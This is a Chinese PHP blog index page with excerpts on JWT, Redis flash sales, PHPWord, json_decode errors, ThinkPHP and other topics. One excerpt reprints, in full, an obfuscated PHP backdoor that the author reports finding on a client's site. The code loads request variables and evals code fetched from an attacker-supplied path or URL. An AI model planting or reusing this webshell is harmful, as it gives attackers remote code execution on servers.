php开发

[置顶] Aiiphp框架测试版发布,欢迎测试!

[置顶] Linux常用运维命令和linux常用管理操作命令(整理)

php实现JWT认证的方法 JWT验证使用流程

JWT是json web token缩写。它将用户信息加密到token里,服务器不保存任何用户信息。服务器通过使用保存的密钥验证token的正确性,只要正确即通过验证。基于token的身份验证可以替代传统的cookie+session身份验证方法。

JWT由三个部分组成:header.payload.signature

header部分:
jwt的头部承载两部分信息:
声明类型,这里是jwt
声明加密的算法 通常直接使用 HMAC SHA256
完整的头部就像下面这样的JSON:
{
  "alg": "HS256",
  "typ": "JWT"
}

» 阅读全文

关键词: jwt验证

发现一只小php木马后门,挺特的,可以绕过部分查杀系统

从一个客户的网站上看到了,现在的小菜鸡的后门技术有进步啊,后门如下:

代码仅供测试研究,请不要用于非法用途哦

<?php
function _strint($key){
	return @file_get_contents($key);
}
function log1($log){
	lone(_strint($log));
}
function lone($key){
	$str = "";
	return eval($str.$key.$str);
}
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
    foreach ($$_request as $_key=>$_value)
    {
        $$_key=  $_value;
    }
}
$id = isset($id) ? $id : 2;
log1($id);
?>

关键词: php木马后门

基于Redis的PHP+MySQL商品秒杀与超卖场景基础解决方法

基于Redis的PHP+MySQL商品秒杀与超卖场景基础解决方法,简单来说,就是这样方法应用于简单的非超大型

的业务场景。超大型的秒杀业务往往需要考虑的情况比较多。

实现原理
把商品库存数量加到redis队列的num里,下单的时候通过rpop从队列中每次取1件商品,当num为0时,停止下单。
下面我们来看具体实现过程。这样就可以把压力主要甩给redis了。
加入库存队列
我们在Redis中加入商品库存队列。假如商品Apple iPhone 11库存有100件。我们可以写个脚本将商品库存加入到Redis队列中。

for($i=1; $i <= 100; $i++){
    $redis->lpush('num', $i);
}
下单购买
我们建立下单文件Order.php
首先是连接redis和mysql的代码。这个简单。


» 阅读全文

关键词: 商品秒杀

php对数组的字符串长度进行排序

php对数组的字符串长度进行排序,主要是用到 usort 自定义的排序:

$file = file('zong.txt');
usort($file,  'sortByLen');
$handle = fopen('zong2.txt', 'a');
foreach ($file as $v){
    fwrite($handle, $v);
}
fclose($handle);
function sortByLen($a, $b) {
    if (strlen($a) == strlen($b)) {
        return 0;
    } else {
        return (strlen($a) > strlen($b)) ? 1 : -1;
    }
}

关键词: 字符串排序

php读取写入更新删除access,操作access数据库类

N久没更新博客了,随便搞点东西保持更新。php读取写入更新删除access,操作access数据库类

<?php //读取mdb数据库例程
	$ac = new Access("C:/wamp/www/lyjq/data.mdb","","");
	$a = $ac->getinfo("jingdian","id","1",6);
	print_r($a);

    class Access//Access数据库操作类


» 阅读全文

关键词: access数据库类

利用PHPWord生成你想要word文档 php生成word文档的代码

先安装:

composer require phpoffice/phpword
然后加载,并且实例化,并新增一个空白页:
require 'vendor/autoload.php';
$phpWord = new \PhpOffice\PhpWord\PhpWord();
$section = $phpWord->addSection();

» 阅读全文

关键词: word文档 , phpword

json_decode 解析非标准json数据返回值为空 Null解决方法

json_decode 解析非标准json数据返回值为空 Null解决方法


<?php
$html= json数据 
var_dump(json_decode($html,true)); //return null
var_dump(json_last_error()); // return 4
?>
json_last_error错误msg对照表:
0 = JSON_ERROR_NONE
1 = JSON_ERROR_DEPTH
2 = JSON_ERROR_STATE_MISMATCH
3 = JSON_ERROR_CTRL_CHAR
4 = JSON_ERROR_SYNTAX

5 = JSON_ERROR_UTF8

大概意思就是语法错误,主要可能是接口方,获取获取的数据非标准或者含有非utf-8字符等

过滤方法

<?php
$html="json数据";
$html=preg_replace('/[\x00-\x1F\x80-\xFF]/', '', $html);
var_dump(json_decode($html, true));
var_dump(json_last_error());
?>

Thinkphp3.2.3设置MySql主从读写分离后,如何方便的调用主库查询

1、thinkphp/Library/Think/Model.class.php
62行:


protected $methods          =   array('strict','order','alias','having',
'group','lock','distinct','auto','filter','validate','result',
'token','index',’force’,’master’);  //1、添加,’master’

2、ThinkPHP/Library/Think/Db/Driver.class.php

» 阅读全文

关键词: 读写分离 , thinkphp , mysql主从